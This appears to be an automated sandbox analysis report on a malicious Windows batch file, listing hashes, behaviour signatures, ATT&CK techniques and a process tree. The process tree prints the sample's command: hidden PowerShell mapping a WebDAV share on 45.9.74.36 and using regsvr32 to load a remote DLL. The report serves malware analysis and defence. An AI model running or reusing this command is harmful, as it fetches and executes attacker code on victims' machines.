93be448106e9a6dbc3e951abbef8cb15324f00bd025add81413fb96e3e49417d

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 14:46 UTC

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General

Target

2193413201207055303.bat
Size

11KB
MD5

dee9ee51c5aa6ac728708511e15a952a
SHA1

a76fb2add4e53263cf174721644ac3aa3c2fe1ce
SHA256

93be448106e9a6dbc3e951abbef8cb15324f00bd025add81413fb96e3e49417d
SHA512

fbdc1625199d55b58ed1834f28221a53c04c0f03c00a1561bd4094952b1dda53220155866d055f5ca65eed3dc92862c3e45971c3ce1340a6d89411b2ca28b93c
SSDEEP

192:JgXGXXdoHsEiZ+GJdvLKsYPe89Zu3bx1bx28atTAbYXfHdXc5syJhwt4:JgXAXdo85JFGFPe89ZUbx1bx28fbY/+J

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
592	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	592	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
532	wordpad.exe
532	wordpad.exe
532	wordpad.exe
532	wordpad.exe
532	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 532	2088	cmd.exe	31
PID 2088 wrote to memory of 532	2088	cmd.exe	31
PID 2088 wrote to memory of 532	2088	cmd.exe	31
PID 2088 wrote to memory of 592	2088	cmd.exe	32
PID 2088 wrote to memory of 592	2088	cmd.exe	32
PID 2088 wrote to memory of 592	2088	cmd.exe	32
PID 592 wrote to memory of 2688	592	powershell.exe	34
PID 592 wrote to memory of 2688	592	powershell.exe	34
PID 592 wrote to memory of 2688	592	powershell.exe	34
PID 592 wrote to memory of 2684	592	powershell.exe	35
PID 592 wrote to memory of 2684	592	powershell.exe	35
PID 592 wrote to memory of 2684	592	powershell.exe	35
PID 592 wrote to memory of 2684	592	powershell.exe	35
PID 592 wrote to memory of 2684	592	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2193413201207055303.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2505250422361.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:592
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2688
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2505250422361.dll
    3⤵
    PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/592-25-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/592-23-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download